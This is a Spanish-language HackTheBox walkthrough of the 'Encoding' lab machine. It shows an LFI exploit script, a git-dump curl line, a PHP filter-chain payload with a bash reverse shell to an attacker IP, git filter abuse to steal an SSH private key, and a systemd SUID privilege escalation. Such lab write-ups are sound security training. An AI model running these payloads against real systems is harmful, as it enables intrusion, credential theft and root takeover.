Encoding es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Encoding 10.10.11.198 a /etc/hosts como encoding.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.92 scan initiated Sat Feb 4 19:02:25 2023 as: nmap -sV -oA enumeration/nmap 10.10.11.198 Nmap scan report for 10.10.11.198 Host is up (0.041s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Feb 4 19:02:34 2023 -- 1 IP address (1 host up) scanned in 8.38 seconds |
Bueno hecha la primera parte de enumeración de puertos procedemos a revisar en detalle los mismos.
Enumeración
Obviamente vamos al puerto 80 y nos encontramos la siguiente página web
Revisamos el portal y las páginas existentes en el mismo y vemos una página donde habla de la api y explica como funciona la misma con varios ejemplos
Entre los ejemplos observamos en concreto uno donde explica como hacer la petición indicando los datos en un servidor externo
1 2 3 4 5 6 7 8 |
import requests json_data = { 'action': 'str2hex', 'file_url' : 'http://example.com/data.txt' } response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data) |
Hacemos alguna que otra prueba y es posible referencia a ficheros locales, por lo que sería vulnerable a LFI, así que generemos un script propio para ello
1 2 3 4 5 6 7 8 9 10 11 |
import requests json_data = { 'action': 'str2hex', 'file_url' : 'file:///etc/passwd' } response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data) data = response.json() print(bytes.fromhex(data['data']).decode('utf-8')) |
Y verificamos que consegimos leer el fichero passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ python3 api_lfi.py root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin svc:x:1000:1000:svc:/home/svc:/bin/bash lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:998:998::/var/log/laurel:/bin/false |
Visto el funcionamiento modificamos el script para pasar el fichero que se desea obtener por parámetro
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
import sys import requests if len(sys.argv) != 2: print("Usage: python3 api_file.py /PATH/TO/FILE.ext") json_data = { 'action': 'str2hex', 'file_url' : 'file://' + str(sys.argv[1]) } response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data) data = response.json() print(bytes.fromhex(data['data']).decode('utf-8')) |
Después de alguna que otra prueba encontramos el directorio del portal web que sería /var/www/html para el portal en sí y /var/www/api para la apirest, así que descargamos y damos alguna vuelta pero sin más descubrimientos.
Procedemos a la lectura de fichero de hosts de la máquina y descubrimos un subdominio nuevo, image.haxtables.htb
1 2 3 4 5 6 7 8 9 10 11 |
$ python3 api_file.py /etc/hosts 127.0.0.1 localhost 127.0.1.1 encoding 127.0.0.1 haxtables.htb api.haxtables.htb image.haxtables.htb # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters |
Aunque si accedemos a través del navegador no tenemos permisos para ver el contenido
Así que revisamos el fichero index.php
1 2 3 4 5 6 7 8 |
$ python3 api_file.py /var/www/image/index.php <?php include_once 'utils.php'; include 'includes/coming_soon.html'; ?> |
Revisamos el fichero utils y en el mismo vemos parte de código que ejecuta comandos de git
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
function git_status() { $status = shell_exec('cd /var/www/image && /usr/bin/git status'); return $status; } function git_log($file) { $log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"'); return $log; } function git_commit() { $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh'); return $commit; } |
Así que vamos a ver si existe algún repositorio en el mismo, y está en /.git pero no tenemos permisos así que tendremos que aprovecharnos del LFI para poder acceder al contenido.
Dicho esto descargamos los scripts de GitTools y haremos una modificación en el fichero gitdumper.sh cambiando la línea siguiente
1 |
curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" -f -k -s "$url" -o "$target" |
Por esta otra
1 |
curl -s -H 'Content-Type: application/json' -d "{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}" 'http://api.haxtables.htb/v3/tools/string/index.php' | jq .data | xxd -ps -r > "$target" |
Y con el cambio realizado lanzamos para descargar los datos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
$ ./gitdumper.sh http://images.haxtables.htb/.git/ ../data/image/git ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [+] Creating ../data/image/git/.git/ [+] Downloaded: HEAD [+] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [+] Downloaded: COMMIT_EDITMSG [+] Downloaded: index [+] Downloaded: packed-refs [+] Downloaded: refs/heads/master [+] Downloaded: refs/remotes/origin/HEAD [+] Downloaded: refs/stash [+] Downloaded: logs/HEAD [+] Downloaded: logs/refs/heads/master [+] Downloaded: logs/refs/remotes/origin/HEAD [+] Downloaded: info/refs [+] Downloaded: info/exclude [+] Downloaded: objects/9c/17e5362e5ce2f30023992daad5b74cc562750b [+] Downloaded: objects/00/00000000000000000000000000000000000000 [+] Downloaded: objects/a8/5ddf4be9e06aa275d26dfaa58ef407ad2c8526 [+] Downloaded: objects/30/617cae3686895c80152d93a0568e3d0b6a0c49 [+] Downloaded: objects/a1/ac03b768b16cb11819d2ba9bc9016e18c2f1d9 [+] Downloaded: objects/26/c6c873fe81c801d731e417bf5d92e5bfa317d2 [+] Downloaded: objects/9a/515b22daea1a74bbcf5d348ad9339202a8edd6 [+] Downloaded: objects/2a/a032b5df9bbaeedff30b6e13be938e48cae5f4 [+] Downloaded: objects/72/f0e39a9438fc0f915f63e2f26b762eb170cf8b [+] Downloaded: objects/e0/74c833c28d3b024eeea724cf892a440f89a5aa [+] Downloaded: objects/ec/9b154d84cab1888e2724c1083bf97eb57837c9 [+] Downloaded: objects/31/f5bbb2ab636f275e1db54e594911646a6e2d16 [+] Downloaded: objects/2d/600ee8a453abd9bd515c41c8fa786b95f96f82 [+] Downloaded: objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [+] Downloaded: objects/3d/6e60659977f6c6d900f094ab0e33ed594c8dab [+] Downloaded: objects/f9/d432448807f47dfd13cb71acc3fd6890f21ee0 [+] Downloaded: objects/c1/308cdc2b0fac3eb5b1e0872cdec44941ff22f5 [+] Downloaded: objects/e4/13857aba2ad6d1692337fa09d9ccf00f64aad0 [+] Downloaded: objects/62/370b37f2f05b910c76c23d1d4ce9f7e3413ea6 |
Ya tenemos los directorios creados, ahora descargamos los ficheros con el script extractor incluido en el mismo repositorio
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ./extractor.sh ../data/image/git/ ../data/image/gitdata ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [*] Creating... fatal: Not a valid object name infopacks [+] Found commit: a85ddf4be9e06aa275d26dfaa58ef407ad2c8526 [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/actions [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/actions/action_handler.php [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/actions/image2pdf.php [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/assets [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/assets/img [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/assets/img/forestbridge.jpg [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/includes [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/includes/coming_soon.html [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/index.php [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/scripts [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/scripts/git-commit.sh [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/0-a85ddf4be9e06aa275d26dfaa58ef407ad2c8526/utils.php [+] Found commit: 9c17e5362e5ce2f30023992daad5b74cc562750b [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/actions [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/actions/action_handler.php [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/actions/image2pdf.php [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/assets [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/assets/img [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/assets/img/forestbridge.jpg [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/includes [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/includes/coming_soon.html [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/index.php [+] Found folder: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/scripts [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/scripts/git-commit.sh [+] Found file: /home/asdf/current/scripts/../data/image/gitdata/1-9c17e5362e5ce2f30023992daad5b74cc562750b/utils.php |
Revisamos el código existente y vemos un fichero interesante llamado action_handler.php y cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php include_once 'utils.php'; if (isset($_GET['page'])) { $page = $_GET['page']; include($page); } else { echo jsonify(['message' => 'No page specified!']); } ?> |
En el código anterior se hace un include del contenido del parámetro page sin realizar ningún tipo de validación sobre el mismo, por lo que puede ser perfecto para poder subir un fichero o ejecutar un comando con el que obtener una shell.
Así que vemos que hay un fichero handler.php en la página inicial que ya vimos en la enumeración de ficheros por lo que hacemos una petición al mismo
1 2 3 4 |
$ curl -s http://haxtables.htb/handler.php | jq { "message": "Insufficient parameters!" } |
Nos faltan parámetros así que leemos el fichero con el LFI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ python3 api_file.py /var/www/html/handler.php <?php include_once '../api/utils.php'; if (isset($_FILES['data_file'])) { $is_file = true; $action = $_POST['action']; $uri_path = $_POST['uri_path']; $data = $_FILES['data_file']['tmp_name']; } else { $is_file = false; $jsondata = json_decode(file_get_contents('php://input'), true); $action = $jsondata['action']; $data = $jsondata['data']; $uri_path = $jsondata['uri_path']; if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) { echo jsonify(['message' => 'Insufficient parameters!']); // echo jsonify(['message' => file_get_contents('php://input')]); } } $response = make_api_call($action, $data, $uri_path, $is_file); echo $response; ?> |
Debido a la falta de validación podemos aprovechar el parámetro uri_path para ejecutar un comando por lo que hacemos unas pruebas en burp con un payload similar al siguiente
1 2 3 4 5 |
{ "action": "", "data": "", "uri_path": "test@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&" } |
Y obtenemos el fichero
Llegados a este punto no funciona la obtención de una shell así que vamos a utilizar la herramienta php_filter_chain_generator para generar un payload que nos permita obtener la misma.
Generamos el payload para la prueba
1 2 3 |
$ python3 php_filter_chain_generator.py --chain test [+] The following gadget chain will generate the following code : test (base64 value: dGVzdA) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp |
Y lanzamos con burp para verificar que la misma es correcta.
Así que ahora generamos el payload bueno
1 |
$ python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.10.14.7/4444 0>&1\"')?>" |
Y lanzaremos con burp para obtener el acceso en nuestra escucha
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.7] from encoding.htb [10.10.11.198] 34400 bash: cannot set terminal process group (790): Inappropriate ioctl for device bash: no job control in this shell www-data@encoding:~/image/actions$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@encoding:~/image/actions$ |
Escalado al usuario svc
Ya estamos dentro con el usuario www-data así que revisamos los permisos de este y vemos que puede ejecutar un comando como el usuario svc
1 2 3 4 5 6 7 8 9 |
www-data@encoding:~/image/actions$ sudo -l sudo -l Matching Defaults entries for www-data on encoding: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on encoding: (svc) NOPASSWD: /var/www/image/scripts/git-commit.sh |
Y el script en cuestión tiene el siguiente contenido
1 2 3 4 5 6 7 8 9 10 11 |
www-data@encoding:~/image/actions$ cat /var/www/image/scripts/git-commit.sh cat /var/www/image/scripts/git-commit.sh #!/bin/bash u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard) if [[ $u ]]; then /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A else /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify fi |
No tenemos permisos para hacer modificaciones pero podemos abusar de los filtros para ejecutar un script propio, así que creamos el script en primer lugar, el cual copiará la clave ssh del usuario svc
1 2 |
www-data@encoding:~/image/actions$ echo "cat ~/.ssh/id_rsa > /dev/shm/key" > /tmp/userkey www-data@encoding:~/image/actions$ chmod +x /tmp/userkey |
Iniciamos git
1 2 |
www-data@encoding:~/image$ git init Reinitialized existing Git repository in /var/www/image/.git/ |
Añadimos el filtro en el fichero attributes
1 2 |
www-data@encoding:~/image$ echo '*.php filter=indent' > .git/info/attributes echo '*.php filter=indent' > .git/info/attributes |
Aplicamos el mismo en la configuración de git indicando nuestro script
1 2 |
www-data@encoding:~/image$ git config filter.indent.clean /tmp/userkey git config filter.indent.clean /tmp/userkey |
Y ejecutamos
1 2 3 4 5 6 7 8 9 10 11 |
www-data@encoding:~/image$ sudo -u svc /var/www/image/scripts/git-commit.sh sudo -u svc /var/www/image/scripts/git-commit.sh On branch master Changes not staged for commit: (use "git add <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) modified: actions/action_handler.php modified: index.php modified: utils.php no changes added to commit (use "git add" and/or "git commit -a") |
Consiguiendo con ello la clave del usuario svc
1 2 3 4 |
www-data@encoding:~/image$ ls -l /dev/shm ls -l /dev/shm total 4 -rw-rw-r-- 1 svc svc 2602 Feb 4 23:02 key |
Obteniendo la flag de user
Con la clave en nuestro poder accedemos por ssh y conseguimos la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
$ ssh -i svc.pem svc@encoding.htb The authenticity of host 'encoding.htb (10.10.11.198)' can't be established. ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'encoding.htb' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat Feb 4 11:03:51 PM UTC 2023 System load: 0.0 Usage of /: 67.9% of 4.33GB Memory usage: 11% Swap usage: 0% Processes: 220 Users logged in: 0 IPv4 address for eth0: 10.10.11.198 IPv6 address for eth0: dead:beef::250:56ff:feb9:6c99 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Jan 24 12:05:39 2023 from 10.10.14.23 svc@encoding:~$ id uid=1000(svc) gid=1000(svc) groups=1000(svc) # y tenemos la primera flag svc@encoding:~$ cat user.txt 8xxxxxxxxxxxxxxxxxxxxxxxxxxxx5 |
Escalado de privilegios
Para el escalado revisamos los permisos de sudo del usuario
1 2 3 4 5 6 |
svc@encoding:~$ sudo -l Matching Defaults entries for svc on encoding: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User svc may run the following commands on encoding: (root) NOPASSWD: /usr/bin/systemctl restart * |
Revisamos si tenemos algún tipo de permiso de escritura y vemos que podemos escribir en el directorio /etc/systemd/system así que vamos a crear nuestro servicio, el cual añada el bit suid al binario de bash
1 2 3 4 5 6 7 |
svc@encoding:~$ cat /etc/systemd/system/custom.service [Service] Type=oneshot ExecStart=chmod u+s /bin/bash [Install] WantedBy=multi-user.target |
Reiniciamos el servicio y vemos como se ha añadido el permiso
1 2 3 |
svc@encoding:~$ sudo /usr/bin/systemctl restart custom svc@encoding:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash |
Obteniendo la flag de root
Con el permiso de suid añadido escalamos a root y cogemos nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
svc@encoding:~$ bash -p bash-5.1# id uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc) bash-5.1# # ahora a por la flag bash-5.1# cd /root bash-5.1# ls -l total 8 -rw-r----- 1 root root 33 Feb 4 19:01 root.txt drwxr-xr-x 4 root root 4096 Jan 13 16:25 scripts bash-5.1# cat root.txt 0xxxxxxxxxxxxxxxxxxxxxxxxxx1 bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace